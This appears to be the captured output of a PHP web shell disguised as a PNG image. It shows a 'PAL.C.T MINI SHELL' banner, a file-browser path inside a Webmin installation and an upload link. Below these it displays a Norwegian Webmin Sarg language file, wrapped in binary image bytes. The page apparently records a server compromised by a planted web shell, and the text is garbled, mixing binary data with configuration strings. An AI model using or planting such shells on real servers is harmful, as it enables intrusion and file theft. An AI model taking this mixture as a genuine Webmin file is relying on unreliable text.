php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/no

index_title=Squid Rapport generator
index_econf=Sarg konfigurasjonsfilen $1 ble ikke funnet på systemet ditt. Kanskje Sarg ikke er installert, eller så er <a href='$2'>modulkonfigurasjonen feil</a>.
index_ecmd=Sarg programmet $1 ble ikke funnet på systemet ditt. Kanskje det ikke er installert, eller så er <a href='$2'>modulkonfigurasjonen feil</a>.
index_eversion=Kunne ikke finne Sarg versjon med kommandoen $1 : $2
index_version=Sarg versjon $1
index_generate=Generer rapport nå
index_generatedesc=Klikk på denne knappen for å generere en Sarg rapport umiddelbart i $1 ved å bruke gjeldende konfigurasjon.
index_clear=Slett eksisterende rapport i katalog?
index_range=Generer rapport for datoområde
index_view=Vis generert rapport
index_viewdesc=Vis sist generte rapport i katalogen $1.
index_return=modul indeks

log_title=Loggkilde og mål for rapport
log_header=Innstillinger for kilde Squid loggfil og for generert rapport
log_access_log=Kilde Squid loggfil
log_squid=Gjeldende Squid tjener logg ($1)
log_other=Annen fil
log_output_dir=Mål-katalog for rapport
log_output_email=Send rapport per e-post til
log_nowhere=Ingen steder
log_useragent_log=Loggfil for brukeragent
log_lastlog=Antall rapporter som skal beholdes
log_unlimit=Ubegrenset
log_mail_utility=Kommando for å sende e-post
log_remove_temp_files=Slett midlertidige filer etter rapportering?
log_err=Kunne ikke lagre innstillinger for logg kilde
log_efile=Filen finnes ikke
log_edir=Katalogen finnes ikke
log_elastlog=Manglende eller ikke et tall
log_eemail=Manglende eller ugyldig e-post adresse
log_emailx=Manglende eller ikke-eksisterende e-post program
log_squidguard_log_path=SquidGard loggfil

style_title=Rapport-stil
style_header=Innstillinger for HTML rapport-stil og -farge
style_title2=Rapport tittel
style_font_face=Skrift for rapporttekst
style_header_color=Overskrift farge
style_header_bgcolor=Overskrift bakgrunnsfarge
style_header_font_size=Overskrift skriftstørrelse
style_background_color=Bakgrunnsfarge
style_text_color=Tekstfarge
style_text_bgcolor=Tekst bakgrunnsfarge
style_title_color=Tittel farge
style_logo_image=Bilde-referanse for logo
style_image_size=Størrelse på bilde (bredde og høyde)
style_logo_text=Tekst for logo
style_logo_text_color=Tekstfarge for logo
style_background_image=Bilde-referanse for bakgrunn
style_err=Kunne ikke lagre innstillinger for rapport-stil
style_etitle=Manglende rapporttittel
style_ecolour=Manglende eller ugyldig fargenavn eller RRGGBB kode
style_efontsize=Manglende eller ugyldig skriftstørrelse offset
style_efont=Manglende eller ugyldig skriftnavn
style_esize=Manglende eller ugyldig bilde-bredde og -høyde
style_language=Rapport språk
style_charset=Tegnsett for rapport

report_title=Rapport innstillinger
report_header=Innstillinger for rapport-innhold og -generering
report_resolve_ip=Slå opp IP adresser?
report_user_ip=Bruk IP adresser i stedet for bruker IDer?
report_user_sort_field=Sortering for bruker rapport
report_topuser_sort_field=Sortering for rapport for topp brukere
report_reverse=I omvendt rekkefølge
report_forward=I forlengs rekkefølge
report_by_user=Etter brukernavn
report_by_connect=Etter tilkoblingstid
report_by_bytes=Etter bytes
report_by_time=Etter tidspunkt
report_by_site=Etter nettsted
report_exclude_users=Fillisting brukere som skal utelates
report_exclude_hosts=Fillisting verter som skal utelates
report_index=Re-generer <tt>index.html</tt> filen?
report_only=Generer bare <tt>index.html</tt>
report_overwrite_report=Overskriv rapport for dato?
report_overno=Nei, omdøp med .1
report_records_without_userid=Handling for oppføringer uten bruker?
report_ignore=Overse totalt
report_ip=Bruk IP adresse i stedet
report_everybody=Bruk brukernavn <tt>everybody</tt>
report_use_comma=Bruk komma i stedet for . i tall?
report_topsites_num=Antall topp nettsteder som skal vises
report_topsites_sort_order=Sortering for rapport for topp nettsteder
report_sorta=Stigende
report_sortd=Synkende
report_index_sort_order=Sortering av lenker i <tt>index.html</tt>
report_exclude_codes=Fillisting HTTP koder som skal utelates
report_max_elapsed=Maks. forløpt tid (ms)
report_report_type=Rapportseksjoner som skal genereres
report_topsites=Too nettsteder
report_topusers=Topp brukere
report_sites_users=Nettsteder per bruker
report_users_sites=Brukere per nettsted
report_date_time=Bruk per dag og time
report_denied=Nektede nettsteder
report_downloads=Nedlastinger
report_auth_failures=Autentiseringsfeil
report_site_user_time_date=Nettsteder, datoer, tidspunkt og bytes
report_all=Alle rapporter
report_below=Valgt nedenfor ..
report_usertab=Tilordningsfil for brukernavn
report_long_url=Vis fulle URLer i rapport?
report_date_time_by=Sorter dato/tid rapport etter
report_bytes=Bytes
report_elap=Forløpt tid
report_user_invalid_char=Ugyldige tegn i brukernavn
report_privacy=Skjul besøkte nettsteder?
report_privacy_string=Erstatningstekst for besøkte nettsteder
report_privacy_string_color=Farge på erstatningstekst
report_below2=Angitt nedenfor ..
report_include_users=Bare generer rapport for brukerene
report_exclude_string=Utelat logglinjer som inneholder
report_allusers=Alle brukere
report_nostrings=Ikke utelat noen
report_topuser_num=Antall topp brukere som skal vises
report_site_user_time_date_type=Nettsted, bruker, dato og tidspunkt tabellformat
report_table=HTML tabell
report_list=Tekst liste
report_displayed_values=Vis trafikk som
report_bytes2=Bytes
report_abbrev=Forkortet (K, M, G)
report_weekdays=Ukedager som skal tas med i rapport
report_weekdays0=Sø
report_weekdays1=Ma
report_weekdays2=Ti
report_weekdays3=On
report_weekdays4=To
report_weekdays5=Fr
report_weekdays6=Lø
report_hours=Timer som skal tas med i rapporten
report_err=Kunne ikke lagre rapport innstillinger
report_efile=Filen finnes ikke
report_enum=Ikke et tall
report_echar=Mellomrom er ikke tillatt
report_estring=Manglende eller ugyldig erstatningstekst
report_eselect=Ingeting valgt
report_eenter=Ingenting angitt

sched_title=Tidsplanlagt rapportgenerering
sched_header=Innstillinger for tidsplanlagt rapportering
sched_sched=Tidsplanlagt rapport aktivert?
sched_yes=Ja, på tidspunkt valgt nedenfor ..
sched_clear=Tøm rapportkatalog hver gang?
sched_dir=Rapportkatalog
sched_edir=Det er ikke definert noen målkatalog for rapport på siden for <a href='$1'>Loggkilde og rapportmål</a>. Dette må angis før tidsplanlagt rapportering kan aktiveres.
sched_esfile=Det er ikke definert noen Squid loggfil på siden for <a href='$1'>Loggkilde og rapportmål</a>. Dette må angis før tidsplanlagt rapportering kan aktiveres.
sched_range=Generer rapport for datointervall
sched_rall=Alle oppføringer i loggfil
sched_rsel=De fra for $1 til £2 dager siden
sched_err=Kunne ikke lagre tidsplanlagt rapportgenerering
sched_erfrom=Manglende eller ugyldig start antall dager siden
sched_erto=Manglende eller ugyldig slutt antall dager siden

view_title=Sarg Rapport
view_efile=Ugyldig filnavn!
view_eopen=Kunne ikke åpne rapportfil

gen_title=Generer rapport
gen_header=Genererer nå Sarg rapport fra Squid loggfilen$1 og alle roterte versjoner ..
gen_done=.. ferdig
gen_failed=.. Sarg feilet! Se output ovenfor for detaljer om feilen.
gen_nothing=.. Sarg er ferdig, men det ble ikke generert noen rapport. Sjekk output nedenfor for mer informasjon om dette.
gen_view=Vis fullført rapport.
gen_err=Kunne ikke generere rapport
gen_efrom=Manglende eller ugyldig fra dag
gen_eto=Manglende eller ugyldig til dag

webmin_log_log=Oppdaterte innstillinger loggkilde og rapportmål
webmin_log_report=Oppdatere rapport innstillinger
webmin_log_style=Oppdaterte innstillinger for rapport-stil
webmin_log_sched_create=Aktiverte tidsplanlagt rapportering
webmin_log_sched_delete=Deaktiverte tidsplanlagt rapportering
webmin_log_sched_update=Oppdaterte tidsplanlagt rapportering
webmin_log_sched_nothing=Lot tidsplanlagt rapportering være deaktivert
webmin_log_generate=Generert rapport
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`